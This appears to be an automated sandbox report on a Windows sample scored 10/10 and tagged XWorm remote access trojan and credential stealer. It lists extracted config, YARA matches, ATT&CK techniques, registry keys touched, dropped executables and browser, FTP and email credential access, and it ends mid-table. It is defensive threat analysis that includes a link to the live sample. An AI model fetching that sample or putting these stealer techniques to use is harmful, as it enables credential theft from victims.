xenarmor | hxxps://mega[.]nz/file/mRt30TjA#qGIHCIcsWHY9x2Ii85OBhfpbYeskZ6DmEpugI8J3jNM

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
372s
max time network
373s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/03/2026, 12:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://mega.nz/file/mRt30TjA#qGIHCIcsWHY9x2Ii85OBhfpbYeskZ6DmEpugI8J3jNM
Sample260328-pc8m7adv2k

Score

10^/10

collection discovery dropper xenarmor xworm password persistence privilege_escalation rat recovery spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Mutex

NlyKGYhc0V2YGDHx

Attributes

install_file
USB.exe
localhost
127.0.0.1

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00090000000245b4-2312.dat	family_xworm
behavioral1/memory/5632-2331-0x00000000004B0000-0x00000000004BE000-memory.dmp	family_xworm

XenArmor Suite
XenArmor is as suite of password recovery tools for various application.
recovery password xenarmor
Xenarmor family
xenarmor
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2728	bitsadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
256	1472	msedge.exe

ACProtect 1.3x - 1.4x DLL software 5 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000024717-2741.dat	acprotect
behavioral1/files/0x0008000000024716-2736.dat	acprotect
behavioral1/files/0x0008000000024715-2731.dat	acprotect
behavioral1/files/0x0008000000024714-2726.dat	acprotect
behavioral1/files/0x0008000000024713-2721.dat	acprotect

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WizClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	winrar-x64-720.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WinRAR.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 7 IoCs

pid	Process
4560	winrar-x64-720.exe
3196	uninstall.exe
1696	WinRAR.exe
2668	WizWorm.exe
5632	WizClient.exe
3892	hmlbqr.exe
4388	All-In-One.exe

Loads dropped DLL 2 IoCs

pid	Process
3240	Process not Found
4388	All-In-One.exe

Modifies system executable filetype association 2 TTPs 8 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	All-In-One.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000024717-2741.dat	upx
behavioral1/files/0x0008000000024716-2736.dat	upx
behavioral1/files/0x0008000000024715-2731.dat	upx
behavioral1/files/0x0008000000024714-2726.dat	upx
behavioral1/files/0x0008000000024713-2721.dat	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\iw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1927022881\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1764214296\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1764214296\regex_patterns.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-eu.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\as\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\eu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\hu\messages.json	msedge.exe
File created	C:\Program Files\WinRAR\zipnew.dat	uninstall.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\uz\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\pa\messages.json	msedge.exe
File opened for modification	C:\Program Files\WinRAR\7zxa.dll	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinCon32.SFX	winrar-x64-720.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1473703011\surnames.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_200328774\adblock_snippet.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\ru\messages.json	msedge.exe
File opened for modification	C:\Program Files\WinRAR\Rar.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Zip32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Zip.SFX	winrar-x64-720.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1927022881\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1764214296\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\it\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\WinRAR\RarExtPackage.msix	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png	winrar-x64-720.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-nl.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_200328774\Filtering Rules	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\offscreendocument_main.js	msedge.exe
File created	C:\Program Files\WinRAR\WinRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1000577284\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_892924723\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-as.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-de-1901.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\hy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1000577284\deny_full_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-en-us.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-mn-cyrl.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-or.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-sk.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\en\messages.json	msedge.exe
File created	C:\Program Files\WinRAR\Order.htm	winrar-x64-720.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_892924723\Microsoft.CognitiveServices.Speech.core.dll	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-fr.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-kn.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-bn.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-sq.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_750880856\hyph-ga.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_108377166\manifest.json	msedge.exe
File created	C:\Program Files\WinRAR\WinRAR.chm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinCon.SFX	winrar-x64-720.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\te\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4748_1907439160\_metadata\verified_contents.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	All-In-One.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1472	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WizClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WizClient.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	WizClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate	WizClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	WizClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	WizWorm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	WizClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	WizWorm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	WizWorm.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134191735702689350"	msedge.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ShellNew\FileName = "C:\\Program Files\\WinRAR\\zipnew.dat"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzh\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shell\open	uninstall.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	WizWorm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.lha\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\DefaultIcon	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\DefaultIcon	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	WizWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	WizWorm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	WizWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	WizWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	WizWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	WizWorm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.uue\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.001\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\ = "WinRAR archive"	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings	WizWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	WizWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	WizWorm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tbz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.z	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rev\ = "WinRAR.REV"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.xxe	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	WinRAR.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	WizWorm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lha	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	WizWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	WizWorm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz2\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.zipx	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\ = "RAR recovery volume"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\DropHandler	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\DragDropHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	WizWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	WizWorm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew\FileName = "C:\\Program Files\\WinRAR\\rarnew.dat"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar\ = "WinRAR"	uninstall.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5632	WizClient.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
4460	msedge.exe
4460	msedge.exe
4388	All-In-One.exe
4388	All-In-One.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1696	WinRAR.exe
2668	WizWorm.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5632	WizClient.exe
Token: SeDebugPrivilege	3892	hmlbqr.exe
Token: SeDebugPrivilege	4388	All-In-One.exe

Suspicious use of FindShellTrayWindow 60 IoCs

pid	Process
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
1696	WinRAR.exe
1696	WinRAR.exe
1696	WinRAR.exe
1696	WinRAR.exe
1696	WinRAR.exe
1696	WinRAR.exe
1696	WinRAR.exe
2668	WizWorm.exe

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
4748	msedge.exe
2668	WizWorm.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
4560	winrar-x64-720.exe
4560	winrar-x64-720.exe
4560	winrar-x64-720.exe
3196	uninstall.exe
2668	WizWorm.exe
2668	WizWorm.exe
2668	WizWorm.exe
5632	WizClient.exe
4388	All-In-One.exe
4388	All-In-One.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
